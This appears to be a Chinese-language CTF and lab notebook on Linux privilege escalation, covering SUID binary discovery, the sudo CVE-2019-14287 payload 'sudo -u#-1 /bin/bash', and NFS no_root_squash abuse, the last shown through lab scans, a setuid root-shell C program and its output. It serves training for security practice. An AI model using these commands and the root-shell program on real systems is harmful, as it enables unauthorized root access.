记录在比赛和靶场中遇到的提权方法
推荐本地部署一个GTFOBins 用来查询
suid 提权
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限
查找当前系统上文件属主为 root 并且拥有 SUID 权限的可执行文件
1 2 3 4 find / -user root -perm -4000 -print 2> result.txt find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
找到命令后可以在GTFOBins查找用法
1 2 // 可能可利用的参照表 pkexec CVE-2021 -4034
sudo 提权 权限分配不当
sudo(super user do)是linux系统中用于管理用户权限的工具,允许普通用户在无需切换到超级用户的情况下以root身份执行命令,通常,在使用sudo命令时,用户需要输入自己的密码验证自己是否有权限使用
查看可利用的sudo权限工具
然后在gtfobins查询利用方法
例子:
CVE-2019-14287 1.8.28之前的sudo版本均会受到影响
现在的用户alice没权限看flag文件
查看sudo版本
符合利用条件,payload:sudo -u#-1 /bin/bash
nfs提权 NFS 提权是指攻击者利用网络文件系统(NFS)的错误配置 no_root_squash ,把普通用户权限提升为服务器上的高权限
NFS 主要依赖客户端提交的 UID/GID 来判断身份。默认的 root_squash 会把客户端的 root 映射为低权限匿名用户;而 no_root_squash 会保留客户端 root 身份。若攻击者可以挂载一个可写的共享目录,就可能以高权限写入文件,并设法让服务器执行该文件,从而实现提权
nfs 默认配置在 /etc/exports
识别 nfs 共享
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ┌──(root㉿kali)-[~] └─# nmap -sV -p111,2049 192.168.100.178 Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:52 -0400 Nmap scan report for 192.168.100.178 Host is up (0.00054s latency). PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC 2049/tcp open nfs_acl 3 (RPC MAC Address: 00:0C:29:0F:A1:4F (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 6.89 seconds ┌──(root㉿kali)-[~] └─# rpcinfo -p 192.168.100.178 program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100000 3 udp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 42257 status 100024 1 tcp 53875 status 100005 1 udp 58589 mountd 100005 1 tcp 41393 mountd 100005 2 udp 41569 mountd 100005 2 tcp 53601 mountd 100005 3 udp 40638 mountd 100005 3 tcp 52851 mountd 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100227 3 tcp 2049 nfs_acl 100021 1 udp 57800 nlockmgr 100021 3 udp 57800 nlockmgr 100021 4 udp 57800 nlockmgr 100021 1 tcp 35405 nlockmgr 100021 3 tcp 35405 nlockmgr 100021 4 tcp 35405 nlockmgr
列举目标主机的可用 nfs exports
1 2 3 4 ┌──(root㉿kali)-[~] └─# showmount -e 192.168.100.178 Export list for 192.168.100.178: /tmp/nfs 192.168.100.0/24
挂载nfs exports
1 2 ┌──(root㉿kali)-[~] └─# mount -t nfs 192.168.100.178:/tmp/nfs /root/test
编写脚本,写入想执行的命令
1 2 3 4 5 6 7 8 9 #include <unistd.h> #include <stdlib.h> int main () { setuid(0 ); setgid(0 ); system("/bin/bash" ); return 0 ; }
添加 suid 权限
1 2 3 4 5 ┌──(root㉿kali)-[~/test] └─# gcc 1.c -o c ┌──(root㉿kali)-[~/test] └─# chmod +s c
在普通用户下使用即可提权到 root
1 2 3 4 aa@dr0n1:/tmp/nfs$ ./c root@dr0n1:/tmp/nfs# whoami root root@dr0n1:/tmp/nfs#